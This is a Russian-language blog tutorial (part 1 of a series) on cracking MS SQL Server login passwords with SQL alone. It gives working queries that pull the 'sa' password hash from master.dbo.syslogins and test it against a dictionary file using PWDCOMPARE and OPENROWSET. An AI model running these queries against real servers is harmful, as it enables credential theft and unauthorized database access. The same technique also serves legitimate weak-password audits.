brute-force

Из Википедии: Полный перебор (или метод «грубой силы», англ. brute force) — метод решения задачи путем перебора всех возможных вариантов. Сложность полного перебора зависит от количества всех возможных решений задачи. Если пространство решений очень велико, то полный перебор может не дать результатов в течение нескольких лет или даже столетий.

Предназначение каждой информационной системы – хранение и обработка самых разных данных,  например, электронного документооборота, или систем управления контентом сайтов, или данных управления какими-то технологиями на производстве.  А основой  этих систем являются базы данных. 

Поэтому понятно,  что эта информация  нуждается в сохранении конфиденциальности и безопасности данных.  А что такое безопасность данных?  Как ее обеспечить? 

Общеизвестно, что это понятие комплексное.   Для обеспечения безопасности используются  пароль учетной записи или шифрование данных.  Есть  также и специальные  технические меры для этой цели, но нужно проявлять особую осторожность там, где задействован человеческий фактор. Даже самая совершенная защита пасует перед ним.

Пароли – это первый барьер на пути к Вашей информации. Именно они становятся основной целью злоумышленника. Не стоит говорить о том, что большая ошибка – простой пароль, который легко подобрать, используя общеизвестные закономерности. Но и серьезные пароли подвергаются опасности быть определенными перебором всех возможных комбинаций символов.

Вот и  меня заинтересовал вопрос:  как можно подобрать пароль SQL-ной учетной записи,  причем подобрать именно средствами SQL. 

Все учётные SQL-пользователи хранятся в в БД master и получить их полный список можно с помощью простого запроса:

select * From master.dbo.syslogins
select * From master.dbo.syslogins

нас будут интересовать только следующие поля :

  • name sysname) –  имя пользователя
  • password (nvarchar(128)) – это хэш пароля пользователя. 

Посмотреть пароль можно запросом :

select cast(password as varbinary) 
From  master.dbo.syslogins
Where name ='sa'
select cast(password as varbinary) 
From  master.dbo.syslogins
Where name ='sa'

Имея хэш пароля,  мы можем воспользоваться или  радужными таблицами, или попробовать подобрать пароль по словарю, или воздействовать простым перебором. 

Вот и рассмотрим последние два варианта.

Подбор пароля по словарю

Для сравнения пароля с имеющимся хэшем, имеется  следующая функция PWDCOMPARE.  Синтаксис у неё очень простой:

PWDCOMPARE ( 'clear_text_password', 'password_hash' [ , version ] )
PWDCOMPARE ( 'clear_text_password', 'password_hash' [ , version ] )

 Соответственно, первый параметр –  это собственно пароль, второй параметр  –  это хэш, а третий, не обязательный,  - указатель формата  хэша (нужен, только если подбирается хэш от MS SQL версии ниже 2000).

Функция возвращает 1, если пароль совпадает с хэшем, и,  в противном случае, 0.

Соединяем наш запрос описанный ранее с этой функцией:

select name,password  From 
master.dbo.syslogins 
Where name ='sa'
AND PWDCOMPARE('пароль', [password])=1
select name,password  From 
master.dbo.syslogins 
Where name ='sa'
AND PWDCOMPARE('пароль', [password])=1

Данный запрос нам вернёт результат только в том случае, если наш пароль совпал с хэшем.

Прикручиваем перебор паролей из словаря :

SELECT 'SA', Pas FROM
(SELECT     
* FROM OPENROWSET(BULK N'c:\dictionary.txt',     
FORMATFILE = 'c:\format.txt') AS dictionary
) p
CROSS JOIN
master.dbo.syslogins
WHERE
[password] IS NOT NULL AND
name='SA' AND
PWDCOMPARE(Pas, [password])=1
SELECT 'SA', Pas FROM
(SELECT     
* FROM OPENROWSET(BULK N'c:\dictionary.txt',     
FORMATFILE = 'c:\format.txt') AS dictionary
) p
CROSS JOIN
master.dbo.syslogins
WHERE
[password] IS NOT NULL AND
name='SA' AND
PWDCOMPARE(Pas, [password])=1

В этом запросе мы открываем текстовый файл, перебираем все его строки и выводим только ту, для которой функция PWDCOPARE вернула 1.

Продолжение читайте в статье Брутфорс с помощью MSSQL-сервера. часть 2

А теперь, чтоб немножко отвлечься, нырнем в другие глубины:

Интересная статья?  Подпишитесь на обновления блога и получите еще больше информации по RSS Vladimir Shurygin RSS  ,   RSS Vladimir Shurygin Email   или  twitter Vladimir Shurygin twitter !
Поделитесь с друзьями этой статьей в: